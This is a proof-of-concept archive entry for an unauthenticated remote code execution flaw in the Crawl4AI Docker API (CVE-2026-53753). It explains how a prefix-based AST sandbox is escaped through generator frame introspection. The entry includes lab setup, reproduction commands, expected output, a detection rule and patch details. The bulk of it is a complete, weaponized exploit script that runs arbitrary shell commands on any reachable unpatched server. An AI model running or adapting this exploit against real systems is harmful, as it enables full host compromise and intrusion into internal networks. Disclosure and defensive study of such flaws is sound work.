PoC Archive PoC Archive
CVE-2026-53753 category: web CVSS 9.8 (CRITICAL)
Patched

Crawl4AI JsonCssExtractionStrategy AST Sandbox Escape → Unauthenticated RCE (CVE-2026-53753)

Published: 2026-07-27 • Researcher: Caio Fabrício (BiiTts) — corroborated by 0xEnc0der

Target software Crawl4AI — open-source LLM-friendly web crawler/scraper, Docker API server
Affected versions <= 0.8.6 (fixed in 0.8.7)
Status Weaponized — full end-to-end command execution reproduced against the official unclecode/crawl4ai:0.8.6 image
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-53753 (GHSA-qxjp-w3pj-48m7)
Category
web
Affected product
Crawl4AI — open-source LLM-friendly web crawler/scraper, Docker API server
Affected versions
<= 0.8.6 (fixed in 0.8.7)
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherCaio Fabrício (BiiTts) — corroborated by 0xEnc0der
CVE / AdvisoryCVE-2026-53753 (GHSA-qxjp-w3pj-48m7)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — full end-to-end command execution reproduced against the official unclecode/crawl4ai:0.8.6 image
Tagscrawl4ai, sandbox-escape, rce, python, ast-bypass, unauthenticated, llm-tooling, ai-security
RelatedN/A

Affected Target

FieldValue
Software / SystemCrawl4AI — open-source LLM-friendly web crawler/scraper, Docker API server
Versions Affected<= 0.8.6 (fixed in 0.8.7)
Language / PlatformPython 3 (crawl4ai’s extraction_strategy.py), served via the project’s Docker API image
Authentication RequiredNo — the shipped Docker image config has security.jwt_enabled: false, so the /crawl token dependency is a no-op
Network Access RequiredYes — direct reachability to the Crawl4AI API port (default 11235)

Summary

Crawl4AI’s JsonCssExtractionStrategy supports “computed fields” — small Python expressions evaluated against each extracted item via _safe_eval_expression(). That function tries to sandbox the expression with an AST allow-list (rejecting only names/attributes/calls that start with _, plus import statements) and a stripped-down __builtins__ dict. The allow-list is name-prefix-based and never inspects ast.Subscript keys, ast.Lambda, ast.GeneratorExp, or ast.NamedExpr nodes. An attacker-supplied expression can therefore walk a running generator’s frame chain (gi_framef_back × 3 → f_builtins) — none of which start with _ — to reach the real, unrestricted builtins module of the calling frame, then pull __import__ out of it via a dict subscript (['__import__'], never checked as an attribute). From there __import__('os').popen(cmd).read() executes an arbitrary shell command and returns its stdout in-band as the computed field’s value. Because the default Docker deployment ships with JWT auth disabled, this is reachable by any unauthenticated network client that can reach POST /crawl, yielding full remote code execution as the container’s service user.

Vulnerability Details

Root Cause

crawl4ai/extraction_strategy.py (v0.8.6) implements _safe_eval_expression() as a deny-by-prefix AST validator:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
_SAFE_EVAL_BUILTINS = {"str": str, "int": int, ..., "list": list, "dict": dict, "isinstance": isinstance, "type": type}
def _safe_eval_expression(expression: str, local_vars: dict):
    tree = ast.parse(expression, mode="eval")
    for node in ast.walk(tree):
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            raise ValueError("Import statements are not allowed in expressions")
        if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
            raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
        if isinstance(node, ast.Call):
            func = node.func
            if isinstance(func, ast.Name) and func.id.startswith("_"):
                raise ValueError(...)
            if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
                raise ValueError(...)
    safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}
    return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

The validator only inspects four node shapes (imports, Attribute.attr, Call on a Name, Call on an Attribute) and only rejects identifiers that literally start with _. Three gaps combine into a full sandbox escape:

  1. Frame-introspection attributes gi_frame, f_back, f_builtins do not start with _, so the entire Python frame chain is walkable.
  2. dict['__import__'] is an ast.Subscript, never an ast.Attribute — the validator never inspects subscript keys, so the dunder string '__import__' slips through as plain data.
  3. A frame’s f_back link is only populated while that frame is executing. Driving a self-referencing generator (bound via the walrus operator inside a lambda, so the binding is a closure cell) with list(g) — itself a permitted call — keeps the generator’s frame live long enough to read f_back three times up to the _safe_eval_expression caller frame, whose f_builtins is the real, unrestricted builtins module (as opposed to the sandboxed _SAFE_EVAL_BUILTINS used inside the eval()’d code).

Chaining these: g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen(cmd).read() reaches os.popen and returns command stdout as the computed field’s value, none of it ever tripping the _-prefix check.

Attack Vector

Unauthenticated POST /crawl to the Crawl4AI Docker API server with a crawler_config whose extraction_strategy is a JsonCssExtractionStrategy schema containing a computed-type field with the malicious expression. Using a raw://<html> pseudo-URL lets the request supply its own HTML inline (matching a trivial baseSelector, e.g. div), so no outbound fetch is required — the whole exploit is a single self-contained HTTP request. No authentication is needed because the shipped default config has jwt_enabled: false, making the /crawl auth dependency a no-op.

Impact

Unauthenticated remote code execution as the Crawl4AI container’s service user (appuser in the official image), with command output returned in-band in the JSON response — no OAST/blind-exfiltration channel required for initial confirmation. Full compromise of the Crawl4AI host and a pivot point into any internal network/resources it can reach.

Environment / Lab Setup

Output
OS:          Any Docker host (Linux/macOS/WSL)
Target:      unclecode/crawl4ai:0.8.6 (official Docker image, vulnerable default config)
Attacker:    Any host with Python 3 (standard library only, no extra deps)
Tools:       exploit.py (this folder)

Setup Steps

Shell script
1
2
3
4
5
docker compose -f lab/docker-compose.yml up -d

docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

docker logs crawl4ai-vuln   # look for "Application startup complete"

Proof of Concept

See exploit.py, ANALYSIS.md, and lab/docker-compose.yml (all real, unmodified) plus upstream-README.md in this folder — mirrored from BiiTts/CVE-2026-53753-Crawl4AI-RCE. Verified before ingestion: read the full exploit script, the docker-compose lab definition, and the accompanying line-by-line ANALYSIS.md walkthrough of the AST validator, the payload’s node-by-node treatment, the runtime frame stack, the request data-flow, and the 0.8.6→0.8.7 patch diff. The exploit uses only the Python standard library, targets a real, documented sink in Crawl4AI’s own extraction_strategy.py, and reproduces end-to-end against the official unclecode/crawl4ai:0.8.6 image with no obfuscation, no unrelated network calls, and no destructive default behavior.

Step-by-Step Reproduction

  1. Stand up the vulnerable target — bring up the official crawl4ai:0.8.6 image (unauthenticated by default):

    Shell script
    1
    
    docker compose -f lab/docker-compose.yml up -d
  2. Inspect the crafted payload without sending it:

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
  3. Fire the exploit — command stdout is returned in-band in the /crawl JSON response:

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

Exploit Code

See exploit.py in this folder for the full, unmodified PoC.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def build_expression(cmd: str) -> str:
    # Final expression (with CMD substituted):
    #   (lambda: ((g := (g.gi_frame.f_back.f_back.f_back
    #                     .f_builtins['__import__']('os').popen('CMD').read()
    #                    for i in [1])), list(g))[-1])()
    safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
    chain = "g.gi_frame.f_back.f_back.f_back.f_builtins"
    return (
        "(lambda: (("
        f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])"
        "), list(g))[-1])()"
    )

def build_payload(cmd: str) -> dict:
    expr = build_expression(cmd)
    html = "<html><body><div id='x'>hi</div></body></html>"
    return {
        "urls": [f"raw://{html}"],
        "crawler_config": {
            "type": "CrawlerRunConfig",
            "params": {
                "extraction_strategy": {
                    "type": "JsonCssExtractionStrategy",
                    "params": {
                        "schema": {
                            "name": "pwn",
                            "baseSelector": "div",
                            "fields": [
                                {"name": "out", "type": "computed", "expression": expr}
                            ],
                        }
                    },
                }
            },
        },
    }

Expected Output

Output
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

The out field is live OS state read directly from the container (id, uname, /etc/os-release) rather than an echo of the request — uid=999(appuser) confirms code execution inside the Crawl4AI host’s service account.

Screenshots / Evidence

N/A — reproduction is via HTTP request/response shown above; no screenshots included in the upstream repo.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Crawl4AI CVE-2026-53753 sandbox escape attempt"; content:"gi_frame"; http_client_body; content:"f_builtins"; http_client_body; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade to Crawl4AI >= 0.8.7. The fix does not attempt to harden the AST validator — it removes the eval path entirely: the expression computed-field key now unconditionally raises ValueError("Computed field 'expression' is disabled for security (eval on untrusted input). Use 'function' key with a Python callable instead."), and _safe_eval_expression no longer exists.
WorkaroundEnable JWT authentication (security.jwt_enabled: true plus api_token) and never expose the Crawl4AI API to untrusted networks.
Config HardeningRestrict /crawl and /crawl/stream reachability to trusted, authenticated callers only; treat any computed-field expression key in incoming requests as suspicious pending the upgrade.

References

Notes

A second, independently-authored repository (0xEnc0der/CVE-2026-53753) corroborates the same vulnerability mechanism (the _safe_eval_expression AST-allow-list bypass via frame introspection), which increases confidence that this is a genuine, reproducible flaw in Crawl4AI’s computed-field evaluator rather than a one-off or fabricated claim.

The primary PoC (BiiTts) is unusually well-documented for this archive: beyond exploit.py, it ships a full ANALYSIS.md doing a node-by-node ast.walk() table (every AST node in the payload mapped to the exact validator check it evades), a runtime frame-stack diagram explaining why the generator must be self-referencing and actively driven for f_back to be populated, the full request data-flow from POST /crawl down to the _safe_eval_expression sink, and the exact 0.8.6→0.8.7 patch diff — consistent with genuine, tested reverse engineering rather than a templated or guessed exploit. The lab/docker-compose.yml pins the exact vulnerable image (unclecode/crawl4ai:0.8.6) used for verification.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
CVE-2026-53753 — Crawl4AI < 0.8.7 — Unauthenticated Remote Code Execution
AST sandbox escape in the `_safe_eval_expression()` computed-fields evaluator.

The Docker API server (`POST /crawl`) deserializes a caller-supplied
`crawler_config` into a `CrawlerRunConfig`, including a `JsonCssExtractionStrategy`
schema. A computed field of type `expression` is passed to `_safe_eval_expression()`,
whose AST allow-list only rejects attribute/call names starting with "_" (and imports).
Frame attributes `gi_frame` / `f_back` / `f_builtins` do not start with "_", and the
builtins dict key `__import__` is reached via subscript (never inspected). Walking the
running generator's frame chain escapes the sandboxed builtins to the real builtins,
yielding `__import__('os').popen(<cmd>).read()` (output returned in-band).

No authentication is required: the shipped config has `jwt_enabled: false`, so the
`/crawl` token dependency is a no-op.

Author: Caio Fabrício (BiiTts) — https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import urllib.request


def build_expression(cmd: str) -> str:
    """Computed-field expression that escapes the AST sandbox and runs `cmd`.

    Uses os.popen(cmd).read() so the command's stdout becomes the computed field
    value and is returned IN-BAND in the /crawl JSON response (in-band RCE proof).
    """
    # Final expression (with CMD substituted):
    #
    #   (lambda: ((g := (g.gi_frame.f_back.f_back.f_back
    #                     .f_builtins['__import__']('os').popen('CMD').read()
    #                    for i in [1])), list(g))[-1])()
    #
    # Token-by-token, mapped to the AST node the validator sees (extraction_strategy.py):
    #
    #   (lambda: ...)()        ast.Lambda + ast.Call(func=Lambda)  -> not a Name/Attribute, NOT checked.
    #                          The lambda creates a real function scope so the walrus name below
    #                          becomes a CLOSURE CELL that the inner genexpr can read.
    #   ( A , list(g) )[-1]    ast.Tuple + ast.Subscript. Walrus is ILLEGAL inside a comprehension's
    #                          iterable, so we bind g here, in a tuple element, then drive it.
    #   g := ( <body> for i in [1])
    #                          ast.NamedExpr binding an ast.GeneratorExp. Neither is inspected.
    #                          The genexpr <body> references g (itself) via the closure cell.
    #   list(g)                ast.Call(func=Name 'list'). 'list' does NOT start with '_' and is in
    #                          _SAFE_EVAL_BUILTINS, so the call passes AND it RUNS the generator,
    #                          making g.gi_frame a LIVE frame (so .f_back is populated, not None).
    #   g.gi_frame             ast.Attribute attr='gi_frame'  -> no leading '_', PASSES.
    #   .f_back .f_back .f_back ast.Attribute attr='f_back' x3  -> no leading '_', PASSES.
    #                          Walks up: running genexpr -> eval('<expression>') frame (sandboxed
    #                          builtins) -> lambda frame -> _safe_eval_expression frame (REAL builtins).
    #   .f_builtins            ast.Attribute attr='f_builtins' -> no leading '_', PASSES.
    #                          On the outer frame this is the FULL builtins mapping (__import__, etc.).
    #   ['__import__']         ast.Subscript. The validator only checks ast.Attribute.attr and
    #                          ast.Call func names -- it NEVER looks at subscript keys. The dunder
    #                          string '__import__' slips through as plain data.
    #   ('os')                 ast.Call whose func is the Subscript above (not Name/Attribute) -> not
    #                          checked. Yields the real os module.
    #   .popen('CMD').read()   ast.Attribute attr='popen'/'read' -> no leading '_', PASSES. popen runs
    #                          the shell command; .read() returns its STDOUT, which becomes the genexpr
    #                          value -> the computed field value -> reflected in the /crawl response.
    #
    # f_back depth = 3 is correct for crawl4ai 0.8.6's _safe_eval_expression call stack.
    safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")  # keep the single-quoted shell string intact
    chain = "g.gi_frame.f_back.f_back.f_back.f_builtins"
    return (
        "(lambda: (("
        f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])"
        "), list(g))[-1])()"
    )


def build_payload(cmd: str) -> dict:
    expr = build_expression(cmd)
    html = "<html><body><div id='x'>hi</div></body></html>"
    return {
        "urls": [f"raw://{html}"],
        "crawler_config": {
            "type": "CrawlerRunConfig",
            "params": {
                "extraction_strategy": {
                    "type": "JsonCssExtractionStrategy",
                    "params": {
                        "schema": {
                            "name": "pwn",
                            "baseSelector": "div",
                            "fields": [
                                {"name": "out", "type": "computed", "expression": expr}
                            ],
                        }
                    },
                }
            },
        },
    }


def main() -> int:
    ap = argparse.ArgumentParser(description="CVE-2026-53753 Crawl4AI unauth RCE PoC")
    ap.add_argument("target", help="Base URL, e.g. http://127.0.0.1:11235")
    ap.add_argument("-c", "--cmd", default="id", help="Shell command to run on the server")
    ap.add_argument("--print-payload", action="store_true", help="Print JSON payload and exit")
    args = ap.parse_args()

    payload = build_payload(args.cmd)
    if args.print_payload:
        print(json.dumps(payload, indent=2))
        return 0

    url = args.target.rstrip("/") + "/crawl"
    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"})
    print(f"[*] POST {url}  (cmd: {args.cmd!r}, no auth)")
    try:
        with urllib.request.urlopen(req, timeout=120) as resp:
            body = resp.read().decode(errors="replace")
            print(f"[*] HTTP {resp.status}")
            print(body[:800])
    except Exception as e:
        # os.system return code is an int; extraction swallows output, so non-2xx is common.
        print(f"[!] Request raised/returned: {e}")
    print("[*] Command executed server-side. Use a blind/OAST or file-write cmd to confirm.")
    return 0


if __name__ == "__main__":
    sys.exit(main())